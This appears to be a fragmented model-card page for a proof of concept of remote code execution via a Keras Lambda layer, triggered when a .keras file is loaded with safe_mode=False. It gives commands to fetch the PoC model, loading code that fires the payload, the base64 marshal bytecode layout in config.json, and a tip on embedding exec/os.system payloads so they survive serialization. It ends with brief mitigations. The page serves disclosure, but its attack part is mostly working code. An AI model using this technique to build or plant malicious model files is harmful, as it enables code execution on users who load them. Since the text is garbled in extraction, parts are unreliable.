Views
No views yet
.keras model files.| Attribute | Value |
|---|---|
| CWE | CWE-502: Deserialization of Untrusted Data |
| Category | Model Format Vulnerability — Deserialization |
| Trigger | keras.models.load_model(file, safe_mode=False) |
| Execution | LOAD-TIME (immediate, during model building) |
| Format | .keras (Keras v3 ZIP-based native format) |
| Serialization | marshal + base64 (NOT pickle) |
| CVSS 3.1 | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — 7.8 HIGH |
config.json as marshal bytecodeload_model(safe_mode=False)1# Install git-lfs first: sudo apt install git-lfs && git lfs install
2git lfs clone https://huggingface.co/Sanaullah1337/openvino-keras-lambda-rce-poc
3cd openvino-keras-lambda-rce-poc
4python3 poc_create_model.py1from huggingface_hub import hf_hub_download
2import keras, numpy as np, os, json
3
4# Download model (bypasses LFS)
5path = hf_hub_download('Sanaullah1337/openvino-keras-lambda-rce-poc', 'poc_final.keras')
6
7# Load → RCE triggers HERE during model building
8keras.config.enable_unsafe_deserialization()
9model = keras.models.load_model(path, safe_mode=False)
10
11# Verify RCE
12with open('/tmp/poc_host_info.txt') as f:
13 print(json.load(f))1pip install huggingface_hub keras tensorflow-cpu numpy
2python3 poc_create_model.pymarshal module
and stored as base64 in the model's config.json:1{
2 "class_name": "Lambda",
3 "config": {
4 "function": {
5 "class_name": "__lambda__",
6 "config": {
7 "code": "4wEAAAAAAAAAAAAAAAMAAAADAAAA...",
8 "defaults": null,
9 "closure": null
10 }
11 }
12 }
13}1# ✅ CORRECT — inline string survives serialization
2lambda x: exec("import os; os.system('id')") or x
3
4# ❌ WRONG — closure variable stripped, payload lost
5PAYLOAD = "import os; os.system('id')"
6lambda x: exec(PAYLOAD) or xHuggingFace → keras.models.load_model() → RCE → ov.convert_model()
↑
Payload executes HERE
Before OpenVINO even touches the model.keras format).h5 / HDF5 format)safe_mode=Falsesafe_mode=Falseconfig.json for Lambda layers before loadingsafe_mode=True (default) blocks this — keep it enabled